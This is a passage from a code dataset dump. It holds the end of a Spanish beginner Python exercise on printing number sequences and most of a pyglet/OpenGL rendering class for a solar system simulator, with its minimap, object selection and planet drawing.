Por ejemplo, si se ingresa un 8, se mostrará 8,\n10, 12, 14, 16. Si se ingresa un 5, se mostrarán 5, 6, 7, 8, 9, 10.\n'''\n\nint_number = int(input('Ingresá un número entero: '))\n\neven_number = int_number % 2 == 0\ndouble = int_number * 2\n\nif even_number:\n for number in range(int_number, double + 1, 2):\n print(number)\nelse:\n for number in range(int_number, double + 1):\n print(number)\n","repo_name":"noisyBrain/IPI","sub_path":"tp2/dir_ex_7/ex_7.py","file_name":"ex_7.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21901623392","text":"from pyglet.gl import *\r\nfrom pyglet.text import Label\r\nimport math\r\nfrom engine_tools.FrameBuffer import FrameBuffer\r\nfrom engine_tools.minimap import Minimap\r\nfrom ctypes import c_char_p,POINTER,c_int,cast\r\nfrom pyglet import shapes\r\nimport ctypes\r\nimport numpy as np\r\nimport sys\r\nimport os\r\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))\r\nfrom src.ui.pyglet_objects import Label,Button\r\nfrom src.ui.states import SimulationState\r\nfrom src.engine.engine_tools.general_render_tools import GeneralRenderTools as RT\r\nfrom src.ui.cameras import *\r\n\r\nclass RenderTool:\r\n def __init__(self,window, labels, buttons, objects, rotation_x, rotation_y, rotation_z, translation_x,translation_y,zoom,backgroundTexture,font=None,SimulationState = None):\r\n #Fenêtre\r\n self.window = window\r\n self.SimulationState = SimulationState\r\n #Objects\r\n self.objects = objects\r\n self.labels = labels\r\n self.buttons = buttons\r\n self.font = font\r\n\r\n #Camera settings\r\n self.rotation_x = rotation_x\r\n self.rotation_y = rotation_y\r\n self.rotation_z = rotation_z\r\n self.translation_x = translation_x\r\n self.translation_y = translation_y\r\n self.zoom = zoom\r\n self.general_tools = RT(self)\r\n\r\n self.translation_initiale = (0, 0,-700)\r\n self.rotation_initiale = (0,100, 10.5)\r\n\r\n #Initiate only\r\n self.background_texture = backgroundTexture\r\n self.frameBuffer = FrameBuffer(*window.get_size())\r\n\r\n #Selection\r\n self.selectedObject = None\r\n self.followObjectEnabled = False\r\n self.followObject = None\r\n\r\n #Camera\r\n #Highligh\r\n self.frame_counter = 0\r\n self.move_camera()\r\n #Axe et plane\r\n self.axesEnable = False\r\n self.axesDrawned = False\r\n self.frame_counter_axes = 0\r\n self.planeEnable = True\r\n self.followLineEnable = True\r\n self.maxlength = 5\r\n\r\n #Infos planètes\r\n self.type_object_celeste_mapping = {1:\"Étoile\",2:\"Planète\",3:\"Astéroide\",4:\"Trou Noir\"}\r\n op = 150\r\n self.type_object_celeste_mapping_color = {1:(250,237,97,op),2:(0,255,0,op),3:(139,69,19,op),4:(1,1,1,op)}\r\n\r\n #CAMERAS\r\n self.current_camera = CameraZ(0,0,0,0,0,0)\r\n\r\n #Background\r\n self.bg_texture1 = pyglet.image.load('assets/textures/background_alpha1.png').get_texture()\r\n self.bg_texture2 = pyglet.image.load('assets/textures/background2.jpg').get_texture()\r\n self.bg_texture3 = pyglet.image.load('assets/textures/background3.jpg').get_texture()\r\n self.bg_texture4 = pyglet.image.load('assets/textures/background4.jpg').get_texture()\r\n self.saturn_ring = pyglet.image.load('assets/textures/saturn_ring2.png').get_texture()\r\n \r\n def update(self,labels, buttons, objects, rotation_x, rotation_y, rotation_z, translation_x,translation_y,zoom):\r\n #Update des objets et cameras settings selon le changement fait dans l'état\r\n #Objects\r\n self.objects = objects\r\n self.labels = labels\r\n self.buttons = buttons\r\n\r\n #Camera settings\r\n self.rotation_x = rotation_x\r\n self.rotation_y = rotation_y\r\n self.rotation_z = rotation_z\r\n self.translation_x = translation_x\r\n self.translation_y = translation_y\r\n self.zoom = zoom\r\n\r\n def draw_minimap(self):\r\n padding = 3\r\n rec = shapes.Rectangle(0, 0, self.window.width*0.20, self.window.height*0.30, color=(1,1,1))\r\n rec2 = shapes.Rectangle(0, 0, self.window.width*0.20+2*padding, self.window.height*0.30+2*padding, color=(255,255,255))\r\n x_rel = 0.01\r\n y_rel = 0.02\r\n x = self.window.width * x_rel \r\n y = self.window.height * y_rel \r\n\r\n\r\n rec.x = x\r\n rec.y = y\r\n rec2.x = x - padding\r\n rec2.y = y - padding\r\n rec2.opacity = 20\r\n rec.opacity = 200\r\n rec2.draw()\r\n rec.draw()\r\n\r\n glViewport(int(x),int(y),int(self.window.width*0.20),int(self.window.height*0.30))\r\n\r\n glMatrixMode(GL_PROJECTION)\r\n glPushMatrix()\r\n glLoadIdentity()\r\n #gluPerspective(15, self.window.width/self.window.height, 1, 500)\r\n #gluPerspective(35, self.window.width/self.window.height, 1, self.maxlength)\r\n\r\n\r\n\r\n aspect_ratio = self.window.width / self.window.height\r\n\r\n # Fix vertical bounds\r\n half_height = 0.024 * self.window.height\r\n bottom = -half_height\r\n top = half_height\r\n\r\n # Adjust horizontal bounds based on aspect ratio\r\n half_width = half_height * aspect_ratio*0.60\r\n left = -half_width\r\n right = half_width\r\n near,far = -100,100\r\n glOrtho(left,right,bottom,top,near,far)\r\n\r\n\r\n\r\n glMatrixMode(GL_MODELVIEW)\r\n\r\n glPushMatrix()\r\n glLoadIdentity()\r\n #glTranslatef(0,0,0)\r\n #glTranslatef(-107.5,-49,0)\r\n\r\n #glPushMatrix()\r\n self.rotation_matrix = self.extract_rotation_matrix(self.matrix)\r\n glMultMatrixd(self.rotation_matrix)\r\n \r\n \r\n \r\n \r\n glEnable(GL_DEPTH_TEST)\r\n glEnable(GL_BLEND)\r\n glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA)\r\n radius = 0.075\r\n length = 22\r\n opacity = 0.50\r\n # Create a GLU quadric object\r\n quadric = gluNewQuadric()\r\n # X-axis (Red)\r\n glColor4f(1, 0, 0, opacity)\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(90, 0, 1, 0) # Rotate 90 degrees around the Y axis to align the cylinder along the X axis\r\n gluCylinder(quadric, radius, radius, length, 100, 100)\r\n glPopMatrix()\r\n\r\n #Boule au milieu\r\n \"\"\"glColor4f(1, 1, 1, opacity)\r\n glPushMatrix()\r\n quadric = gluNewQuadric()\r\n gluSphere(quadric, 2*radius, 30, 30)\r\n glPopMatrix()\"\"\"\r\n\r\n # Z-axis (Vert)\r\n glColor4f(0, 1, 0, opacity)\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(180, 1, 0, 0)\r\n gluCylinder(quadric, radius, radius, length, 100, 100) # No need for rotation as it's already aligned to the Y axis\r\n glPopMatrix()\r\n \r\n \r\n\r\n # Y-axis (Bleu)\r\n glColor4f(0, 0, 1, opacity)\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(-90, 1, 0, 0) # Rotate -90 degrees around the X axis to align the cylinder along the Z axis\r\n gluCylinder(quadric, radius, radius, length, 100, 100)\r\n glPopMatrix()\r\n if self.axesEnable:\r\n length = length/2\r\n # Y-axis (Bleu)\r\n glColor4f(0, 0, 1, opacity*0.5)\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(90, 1, 0, 0) # Rotate -90 degrees around the X axis to align the cylinder along the Z axis\r\n gluCylinder(quadric, radius, radius, length, 100, 100)\r\n glPopMatrix()\r\n #Z Axis (Vert)\r\n glColor4f(0, 1, 0, opacity*0.5)\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n gluCylinder(quadric, radius*0.75, radius*0.75, length, 100, 100) # No need for rotation as it's already aligned to the Y axis\r\n glPopMatrix()\r\n #X-Axis (Rouge)\r\n glColor4f(1, 0, 0, opacity*0.5)\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(-90, 0, 1, 0) # Rotate 90 degrees around the Y axis to align the cylinder along the X axis\r\n gluCylinder(quadric, radius*0.75, radius*0.75, length, 100, 100)\r\n glPopMatrix()\r\n glColor4f(1, 1, 1, 1)\r\n\r\n\r\n\r\n length = length*2\r\n nbre_line = 6\r\n position = [0,0,0]\r\n glBegin(GL_LINES)\r\n grid_spacing = length/nbre_line\r\n glColor4f(1,1,1,0.1)\r\n for i in range(0, nbre_line+1):\r\n offset = i * grid_spacing\r\n if i == nbre_line:\r\n glColor4f(1,1,1,0.3)\r\n\r\n # Grid lines parallel to X-axis (both positive and negative Z direction)\r\n glVertex3f(position[0] - length, position[1], position[2] + offset)\r\n glVertex3f(position[0] + length, position[1], position[2] + offset)\r\n \r\n glVertex3f(position[0] - length, position[1], position[2] - offset)\r\n glVertex3f(position[0] + length, position[1], position[2] - offset)\r\n\r\n # Grid lines parallel to Z-axis (both positive and negative X direction)\r\n glVertex3f(position[0] + offset, position[1], position[2] - length)\r\n glVertex3f(position[0] + offset, position[1], position[2] + length)\r\n \r\n glVertex3f(position[0] - offset, position[1], position[2] - length)\r\n glVertex3f(position[0] - offset, position[1], position[2] + length)\r\n glEnd()\r\n glColor4f(1,1,1,1)\r\n\r\n glEnable(GL_TEXTURE_2D)\r\n scale = 4\r\n scale_radius = 5\r\n for obj in self.objects:\r\n\r\n glBindTexture(GL_TEXTURE_2D, obj.texture.id)\r\n glPushMatrix()\r\n position_minimap = self.scale_minimap_position(obj.position_simulation,length)\r\n glTranslatef(position_minimap[0], position_minimap[1], position_minimap[2])\r\n glRotatef(obj.rotation_siderale_angle,*obj.rotation_direction)\r\n quadric = gluNewQuadric()\r\n gluQuadricTexture(quadric, GL_TRUE)\r\n gluSphere(quadric, radius*10, 30, 30)\r\n glPopMatrix()\r\n glDisable(GL_TEXTURE_2D)\r\n\r\n if self.selectedObject is not None:\r\n glColor4f(0.3,1,0.3,0.4)\r\n glPushMatrix()\r\n position_minimap = self.scale_minimap_position(self.selectedObject.position_simulation,length)\r\n glTranslatef(position_minimap[0], position_minimap[1], position_minimap[2])\r\n quadric = gluNewQuadric()\r\n gluSphere(quadric, radius*18, 30, 30)\r\n glPopMatrix()\r\n\r\n glColor4f(1,1,1,1)\r\n\r\n\r\n\r\n # Delete the quadric object when done\r\n glColor4f(1, 1, 1, 1)\r\n gluDeleteQuadric(quadric)\r\n\r\n\r\n glDisable(GL_BLEND)\r\n #glPopMatrix()\r\n glPopMatrix()\r\n glMatrixMode(GL_PROJECTION)\r\n glPopMatrix()\r\n glMatrixMode(GL_MODELVIEW)\r\n glDisable(GL_DEPTH_TEST)\r\n glViewport(0,0,self.window.width,self.window.height)\r\n\r\n def scale_minimap_position(self,position,length):\r\n # Convert Cartesian to Spherical\r\n x, y, z = position\r\n r = np.sqrt(x**2 + y**2 + z**2)\r\n theta = np.arctan2(y, x)\r\n phi = np.arccos(z / r) if r != 0 else 0\r\n \r\n # Scale the radial distance\r\n k = 0.08\r\n r_scaled = length * (np.log(1 + k * r) / np.log(1 + k * self.maxlength))\r\n \r\n # Convert Spherical back to Cartesian\r\n x_scaled = r_scaled * np.sin(phi) * np.cos(theta)\r\n y_scaled = r_scaled * np.sin(phi) * np.sin(theta)\r\n z_scaled = r_scaled * np.cos(phi)\r\n \r\n return [x_scaled, y_scaled, z_scaled]\r\n\r\n\r\n def extract_rotation_matrix(self,matrix):\r\n \"\"\"\r\n Extract the rotational component from a 4x4 matrix.\r\n \"\"\"\r\n rotation_only_matrix = (ctypes.c_double*16)()\r\n\r\n \r\n # Copy the rotational components (3x3 upper-left corner)\r\n rotation_only_matrix[0] = matrix[0]\r\n rotation_only_matrix[1] = matrix[1]\r\n rotation_only_matrix[2] = matrix[2]\r\n \r\n rotation_only_matrix[4] = matrix[4]\r\n rotation_only_matrix[5] = matrix[5]\r\n rotation_only_matrix[6] = matrix[6]\r\n \r\n rotation_only_matrix[8] = matrix[8]\r\n rotation_only_matrix[9] = matrix[9]\r\n rotation_only_matrix[10] = matrix[10]\r\n \r\n # Set the homogeneous coordinates to make it a valid 4x4 matrix\r\n rotation_only_matrix[15] = 1.0\r\n \r\n return rotation_only_matrix\r\n\r\n\r\n\r\n def setup_2d_projection(self):\r\n glDisable(GL_DEPTH_TEST)\r\n glViewport(0, 0, self.window.width, self.window.height)\r\n glMatrixMode(GL_PROJECTION)\r\n glLoadIdentity()\r\n gluOrtho2D(0, self.window.width, 0, self.window.height)\r\n glMatrixMode(GL_MODELVIEW)\r\n glLoadIdentity()\r\n\r\n\r\n def setup_3d_projection(self):\r\n glViewport(0, 0, self.window.width, self.window.height)\r\n glEnable(GL_DEPTH_TEST)\r\n glMatrixMode(GL_PROJECTION)\r\n glLoadIdentity()\r\n gluPerspective(35, self.window.width/self.window.height, 1, self.maxlength*2)\r\n glMatrixMode(GL_MODELVIEW)\r\n\r\n \r\n\r\n \r\n def move_camera(self):\r\n \r\n if self.followObjectEnabled and self.followObject is not None:\r\n x_followObject = self.followObject.position_simulation[0]\r\n y_followObject = self.followObject.position_simulation[1]\r\n z_followObject = self.followObject.position_simulation[2]\r\n z_object = -100+self.zoom\r\n else:\r\n x_followObject,y_followObject,z_followObject = 0,0,0\r\n z_object = self.translation_initiale[2]+self.zoom\r\n\r\n glLoadIdentity()\r\n #Translation initiale + Zoom\r\n #Translation selon le mouvement\r\n glTranslatef(self.translation_x,self.translation_y,0)\r\n glTranslatef(self.translation_initiale[0], self.translation_initiale[1], z_object)\r\n glRotatef(0, 1, 0, 0) # Rotation autour de l'axe X\r\n glRotatef(self.rotation_y+self.rotation_initiale[1], 0, 1, 0)\r\n glRotatef(self.rotation_x+self.rotation_initiale[2], 0, 0, 1)\r\n glRotatef(self.rotation_z, 1, 0, 0)\r\n \r\n\r\n glTranslatef(- x_followObject,- y_followObject,-z_followObject)\r\n\r\n #Rotation selon le mouvement\r\n self.matrix = (GLdouble*16)()\r\n glGetDoublev(GL_MODELVIEW_MATRIX,self.matrix)\r\n\r\n def draw_pyglet_objects(self):\r\n for label in self.labels:\r\n label.draw()\r\n for btn in self.buttons:\r\n btn.update_position()\r\n btn.draw()\r\n \r\n\r\n def selection_mode(self,x,y,mode=0,liste_objects=[]):\r\n\r\n self.frameBuffer.bind()\r\n\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n\r\n\r\n self.render_with_colors()\r\n self.render_minimap_with_colors()\r\n if self.SimulationState.isCreating and mode == 1:\r\n self.render_creation_with_colors(liste_objects)\r\n\r\n output_buffer = (GLubyte*3)()\r\n\r\n glReadPixels(x,y,1,1,GL_RGB,GL_UNSIGNED_BYTE,output_buffer)\r\n\r\n self.frameBuffer.unbind()\r\n glClearColor(1,1,1, 1)\r\n glColor3f(1,1,1)\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n\r\n color_id = (output_buffer[0],output_buffer[1],output_buffer[2])\r\n\r\n\r\n if mode == 0:\r\n if color_id ==(0, 0, 50):#X\r\n self.SimulationState.focus_on_axes(\"x\")\r\n elif color_id ==(0, 0, 150):#Y\r\n self.SimulationState.focus_on_axes(\"y\")\r\n elif color_id ==(0, 0, 100):#Z\r\n self.SimulationState.focus_on_axes(\"z\")\r\n if color_id[2]>200 : return None\r\n\r\n self.selectedObject = self.get_object_by_color_id(color_id, self.objects)\r\n\r\n return self.selectedObject\r\n elif mode == 1:\r\n return self.get_object_by_color_id(color_id, liste_objects)\r\n\r\n \r\n def render_with_colors(self):\r\n # Clear the buffer with the blue background color\r\n glClearColor(0, 0, 1, 1) # RGB for blue\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n\r\n # Setup 3D for drawing celestial objects\r\n self.setup_3d_projection()\r\n\r\n # Move the camera according to direction\r\n self.move_camera()\r\n \r\n # Now, for each object in your scene, set the color and draw it\r\n for obj in self.objects:\r\n facteur_rayon = 5\r\n if self.followObject:\r\n if self.followObject.name == obj.name:\r\n facteur_rayon=1.5\r\n if obj.name == \"Soleil\":\r\n facteur_rayon=1.5\r\n # Extract the color_id (assuming it's in 0-255 range)\r\n r, g, b = obj.color_id\r\n # Convert the color to 0-1 range\r\n r /= 255.0\r\n g /= 255.0\r\n b /= 255.0\r\n\r\n # Set the color for the object\r\n glColor3f(r, g, b)\r\n # Draw the object using the same transformations but with the unique color\r\n glPushMatrix()\r\n glTranslatef(obj.position_simulation[0], obj.position_simulation[1], obj.position_simulation[2])\r\n if hasattr(obj, \"inclinaison\"):\r\n glRotatef(obj.inclinaison, 1, 0, 0)\r\n #glRotatef(obj.rotation_siderale_angle, *obj.rotation_direction)\r\n quadric = gluNewQuadric()\r\n gluSphere(quadric, obj.rayon_simulation*facteur_rayon, 60, 18)\r\n glPopMatrix()\r\n\r\n def render_minimap_with_colors(self):\r\n glViewport(int(self.window.width * 0.01), int(self.window.height * 0.02), int(self.window.width * 0.20), int(self.window.height * 0.30))\r\n \r\n glMatrixMode(GL_PROJECTION)\r\n glPushMatrix()\r\n glLoadIdentity()\r\n \r\n aspect_ratio = self.window.width / self.window.height\r\n\r\n\r\n # Fix vertical bounds\r\n half_height = 0.024 * self.window.height # valeur mise à jour\r\n bottom = -half_height\r\n top = half_height\r\n\r\n\r\n # Ajuster les limites horizontales en fonction du rapport d'aspect\r\n half_width = half_height * aspect_ratio*0.60\r\n left = -half_width\r\n right = half_width\r\n near, far = -100, 100\r\n glOrtho(left, right, bottom, top, near, far)\r\n\r\n\r\n glMatrixMode(GL_MODELVIEW)\r\n glPushMatrix()\r\n glLoadIdentity()\r\n glTranslatef(0, 0, 0)\r\n \r\n self.rotation_matrix = self.extract_rotation_matrix(self.matrix)\r\n glMultMatrixd(self.rotation_matrix)\r\n \r\n radius = 1\r\n length = 22\r\n quadric = gluNewQuadric() # If you don't have this, add it at the beginning\r\n \r\n # X-axis (Red)\r\n glColor3f(0, 0, 50/255.0) # RGB for X axis color\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(90, 0, 1, 0) # Rotate 90 degrees around the Y axis to align the cylinder along the X axis\r\n gluCylinder(quadric, radius, radius, length, 100, 100)\r\n glPopMatrix()\r\n\r\n # Z-axis (Green)\r\n glColor3f(0, 0, 100/255.0) # RGB for Z axis color\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(180, 1, 0, 0)\r\n gluCylinder(quadric, radius, radius, length, 100, 100) # No need for rotation as it's already aligned to the Y axis\r\n glPopMatrix()\r\n\r\n # Y-axis (Blue)\r\n glColor3f(0, 0, 150/255.0) # RGB for Y axis color\r\n glPushMatrix()\r\n glTranslatef(0, 0, 0)\r\n glRotatef(-90, 1, 0, 0) # Rotate -90 degrees around the X axis to align the cylinder along the Z axis\r\n gluCylinder(quadric, radius, radius, length, 100, 100)\r\n glPopMatrix()\r\n\r\n\r\n radius = 0.075*2\r\n # Effacer le tampon\r\n glClearColor(0, 0, 1, 1) # RGB pour bleu\r\n #glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n for obj in self.objects:\r\n r, g, b = obj.color_id\r\n\r\n\r\n # Convertir la couleur à la plage 0-1\r\n r /= 255.0\r\n g /= 255.0\r\n b /= 255.0\r\n\r\n\r\n # Définir la couleur pour l'objet\r\n glColor3f(r, g, b)\r\n glPushMatrix()\r\n position_minimap = self.scale_minimap_position(obj.position_simulation, length)\r\n glTranslatef(position_minimap[0], position_minimap[1], position_minimap[2])\r\n quadric = gluNewQuadric()\r\n gluSphere(quadric, radius * 10, 30, 30)\r\n glPopMatrix()\r\n \r\n glPopMatrix()\r\n glMatrixMode(GL_PROJECTION)\r\n glPopMatrix()\r\n glMatrixMode(GL_MODELVIEW)\r\n glViewport(0, 0, self.window.width, self.window.height)\r\n\r\n def render_creation_with_colors(self,objects):\r\n self.setup_2d_projection()\r\n self.padding=5\r\n self.width = self.window.width\r\n self.height = self.window.height\r\n self.x = int(0.01 * self.width)\r\n self.y = int(0.38 * self.height)\r\n\r\n self.largeur = int(0.20*self.width)\r\n self.hauteur = int(0.5*self.height)\r\n glViewport(self.x + self.padding, self.y + self.padding, self.largeur - 2 * self.padding, self.hauteur - 2 * self.padding)\r\n \r\n glMatrixMode(GL_PROJECTION)\r\n glPushMatrix()\r\n glLoadIdentity()\r\n fov = 35\r\n aspect_ratio = (self.largeur - 2 * self.padding) / (self.hauteur - 2 * self.padding)\r\n near = 0.1\r\n far = 100\r\n gluPerspective(fov, aspect_ratio, near, far)\r\n\r\n num_planets_per_row = 3\r\n planet_radius = 3.5\r\n gap = 2.3 * planet_radius\r\n titre_marge = 1 * planet_radius # Adjust as needed\r\n\r\n half_width_of_line = 2 * gap + num_planets_per_row * 2 * planet_radius + (num_planets_per_row - 1) * gap\r\n half_height_of_line = 2 * planet_radius\r\n\r\n start_x = -0.9*half_width_of_line / 2 + gap\r\n start_y = half_height_of_line / 2 + titre_marge\r\n\r\n row_count = 0\r\n col_count = 0\r\n\r\n for obj in objects:\r\n r, g, b = obj.color_id\r\n r /= 255.0\r\n g /= 255.0\r\n b /= 255.0\r\n glColor3f(r, g, b)\r\n glPushMatrix()\r\n\r\n # Translation to position the planet\r\n glTranslatef(start_x + col_count * (gap + 2 * planet_radius), start_y - row_count * (gap + 2 * planet_radius), -100)\r\n quadric = gluNewQuadric()\r\n gluSphere(quadric, planet_radius, 100, 30)\r\n\r\n glPopMatrix()\r\n\r\n # Update counters to position the next planet\r\n col_count += 1\r\n if col_count == num_planets_per_row:\r\n col_count = 0\r\n row_count += 1\r\n \r\n # Restore the previous projection\r\n glMatrixMode(GL_PROJECTION)\r\n glPopMatrix()\r\n glMatrixMode(GL_MODELVIEW)\r\n glViewport(0, 0, self.width, self.height)\r\n self.setup_3d_projection()\r\n \r\n def is_color_close(self, color1, color2, threshold=10):\r\n \"\"\"Check if two colors are close based on a threshold.\"\"\"\r\n return all(abs(c1 - c2) <= threshold for c1, c2 in zip(color1, color2))\r\n\r\n def get_object_by_color_id(self, color_id,object_list ,threshold=10):\r\n for obj in object_list:\r\n if self.is_color_close(obj.color_id, color_id, threshold):\r\n return obj\r\n return None\r\n\r\n\r\n\r\n def draw_saturn_ring(self, obj):\r\n\r\n # Assuming obj represents Saturn and has attributes for ring texture, radius, and position.\r\n\r\n # Enable texture\r\n glEnable(GL_TEXTURE_2D)\r\n glEnable(GL_LIGHTING)\r\n glEnable(GL_LIGHT0)\r\n glBindTexture(GL_TEXTURE_2D, self.saturn_ring.id)\r\n\r\n # Enable blending for transparency\r\n glEnable(GL_BLEND)\r\n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\r\n\r\n glPushMatrix()\r\n\r\n # Translate to Saturn's position\r\n glTranslatef(obj.position_simulation[0]+1, obj.position_simulation[1]+1, obj.position_simulation[2])\r\n\r\n # Rotate for inclination of the rings\r\n glRotatef(20, 1, 0, 0)\r\n\r\n half_width = obj.rayon_simulation * 2.5 # or whatever appropriate size\r\n half_height = half_width # since it's square\r\n\r\n # Draw a textured quad for the ring\r\n glBegin(GL_QUADS)\r\n glTexCoord2f(0, 0); glVertex3f(-half_width, -half_height, 0)\r\n glTexCoord2f(1, 0); glVertex3f( half_width, -half_height, 0)\r\n glTexCoord2f(1, 1); glVertex3f( half_width, half_height, 0)\r\n glTexCoord2f(0, 1); glVertex3f(-half_width, half_height, 0)\r\n glEnd()\r\n\r\n glPopMatrix()\r\n\r\n\r\n\r\n\r\n def draw_sun(self, obj):\r\n quadric = gluNewQuadric()\r\n gluQuadricTexture(quadric, GL_TRUE)\r\n gluSphere(quadric, obj.rayon_simulation, 100, 30)\r\n glPopMatrix()\r\n\r\n glDisable(GL_TEXTURE_2D)\r\n glEnable(GL_BLEND)\r\n glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA)\r\n glDisable(GL_DEPTH_TEST)\r\n\r\n glPushMatrix()\r\n glTranslatef(obj.position_simulation[0], obj.position_simulation[1], obj.position_simulation[2])\r\n quadric = gluNewQuadric()\r\n\r\n for i in range(1,30):\r\n glColor4f(1.0,1.0,0.8,0.1/i)\r\n gluSphere(quadric,obj.rayon_simulation*(1+0.0125*i),100,30)\r\n glPopMatrix()\r\n glEnable(GL_DEPTH_TEST)\r\n glDisable(GL_BLEND)\r\n glEnable(GL_TEXTURE_2D)\r\n glColor4f(1,1,1,1)\r\n \r\n\r\n \r\n\r\n def draw_celestial_objects(self):\r\n glEnable(GL_TEXTURE_2D)\r\n # Set up lighting parameters\r\n \r\n glEnable(GL_LIGHTING)\r\n glEnable(GL_LIGHT0)\r\n\r\n\r\n ambient_light_intensity = 20\r\n ambient_light = (GLfloat * 4)(ambient_light_intensity/100, ambient_light_intensity/100, ambient_light_intensity/100, 1.0) # Ambient reflection \r\n glLightfv(GL_LIGHT0, GL_AMBIENT, ambient_light) \r\n\r\n diffuse_light_intensity = 100\r\n diffuse_light = (GLfloat * 4)(diffuse_light_intensity/100, diffuse_light_intensity/100, diffuse_light_intensity/100, 1.0) # Diffuse reflection \r\n glLightfv(GL_LIGHT0, GL_DIFFUSE, diffuse_light) \r\n\r\n specular_light_intensity = 100\r\n specular_light = (GLfloat * 4)(specular_light_intensity/100, specular_light_intensity/100, specular_light_intensity/100, 1.0) # Specular reflection \r\n glLightfv(GL_LIGHT0, GL_SPECULAR, specular_light)\r\n \r\n\r\n for i,obj in enumerate(self.objects):\r\n #Bind texture\r\n glBindTexture(GL_TEXTURE_2D, obj.texture.id)\r\n glPushMatrix()\r\n #On positionne l'object\r\n glTranslatef(obj.position_simulation[0], obj.position_simulation[1], obj.position_simulation[2])\r\n if hasattr(obj, \"inclinaison\"):\r\n glRotatef(obj.inclinaison,1,0,0)\r\n \r\n glRotatef(obj.rotation_siderale_angle,*obj.rotation_direction)\r\n\r\n if obj.type_object == 1: #Une étoile\r\n sun_position = (GLfloat*4)(obj.position_simulation[0], obj.position_simulation[1], obj.position_simulation[2], 1)\r\n glLightfv(GL_LIGHT0, GL_POSITION, sun_position)\r\n\r\n glDisable(GL_LIGHTING)\r\n\r\n self.draw_sun(obj)\r\n\r\n glEnable(GL_LIGHTING)\r\n\r\n\r\n\r\n\r\n\r\n else:\r\n \r\n #On dessine une sphère avec la texture\r\n quadric = gluNewQuadric()\r\n gluQuadricTexture(quadric, GL_TRUE)\r\n gluSphere(quadric, obj.rayon_simulation, 100, 30)\r\n glPopMatrix()\r\n\r\n\r\n #Anneaux de Saturne\r\n if obj.name == \"Saturne\":\r\n self.draw_saturn_ring(obj)\r\n\r\n\r\n\r\n glDisable(GL_TEXTURE_2D)\r\n glDisable(GL_LIGHTING)\r\n glDisable(GL_LIGHT0) \r\n \r\n def distance(self,obj):\r\n return (obj.position_simulation[0]**2+obj.position_simulation[1]**2+obj.position_simulation[2]**2)**0.5\r\n\r\n def draw_vitesse(self):\r\n if self.SimulationState.OutilCreation.etat_present == 3 or self.SimulationState.OutilCreation.etat_present == 4: \r\n position_objet = self.objects[-1].position_simulation # Remplacez par la manière correcte d'obtenir la position de l'objet\r\n if self.SimulationState.OutilCreation.etat_present_SUB == 0 or self.SimulationState.OutilCreation.etat_present_SUB == 1: \r\n glEnable(GL_BLEND)\r\n glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA)\r\n glColor4f(1,1,1,0.25)\r\n rayon=7.5\r\n for obj in self.objects:\r\n if obj == self.objects[-1]:\r\n rayon=15\r\n color=self.type_object_celeste_mapping_color.get(obj.type_object)[:3]\r\n color = [col/255 for col in color]\r\n glColor4f(*color,0.4)\r\n glPushMatrix()\r\n glRotatef(90,1,0,0)\r\n quadric = gluNewQuadric()\r\n gluDisk(quadric, self.distance(obj)-rayon, self.distance(obj)+rayon, 100, 30) # Les deux premiers arguments sont le rayon intérieur et extérieur\r\n glPopMatrix()\r\n glDisable(GL_BLEND)\r\n glColor4f(1,1,1,1)\r\n\r\n if self.SimulationState.OutilCreation.etat_present_SUB == 1: \r\n glBegin(GL_LINES)\r\n glVertex3f(position_objet[0], 0, position_objet[2])\r\n glVertex3f(position_objet[0],position_objet[1],position_objet[2])\r\n glEnd()\r\n\r\n\r\n self.draw_arrow([0,0,0],self.objects[-1].position_simulation) \r\n\r\n\r\n\r\n\r\n def compute_velocity_vector_for_drawing(self,obj):\r\n position = obj.position_simulation\r\n vitesse = obj.velocity\r\n vecteur = [vitesse[i]/1000+position[i] for i,elem in enumerate(vitesse)]\r\n return vecteur\r\n\r\n def draw_arrow(self, start, end,opacity=0.5):\r\n\r\n glEnable(GL_BLEND)\r\n glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA)\r\n glColor4f(1,1,1,1)\r\n # Calculez la direction de la flèche\r\n direction = np.array([end[0] - start[0], end[1] - start[1], end[2] - start[2]])\r\n arrow_length = np.linalg.norm(direction)\r\n if arrow_length ==0:return\r\n direction_normalized = direction / arrow_length\r\n\r\n # Calculez la longueur et la largeur de la tête en pourcentage de la longueur totale\r\n arrowhead_length_percent = 0.05 # Ajustez ce pourcentage selon vos besoins\r\n\r\n arrowhead_length = arrow_length * arrowhead_length_percent\r\n radius = 0.25\r\n arrowhead_width = radius*arrowhead_length\r\n # Calculez l'angle et l'axe de rotation pour aligner la flèche avec la direction\r\n z_axis = np.array([0, 0, 1])\r\n axis = np.cross(z_axis, direction_normalized)\r\n angle = math.degrees(math.acos(np.dot(z_axis, direction_normalized)))\r\n\r\n # Draw the line of the arrow (line segment)\r\n glPushMatrix()\r\n glLineWidth(2.0) # Adjust line width as needed\r\n glBegin(GL_LINES)\r\n glVertex3f(start[0], start[1], start[2])\r\n glVertex3f(end[0], end[1], end[2])\r\n glEnd()\r\n glPopMatrix()\r\n\r\n # Dessinez la tête de la flèche (cône)\r\n glPushMatrix()\r\n glTranslatef(start[0], start[1], start[2]) # Commencez par déplacer à la position de départ\r\n glRotatef(angle, 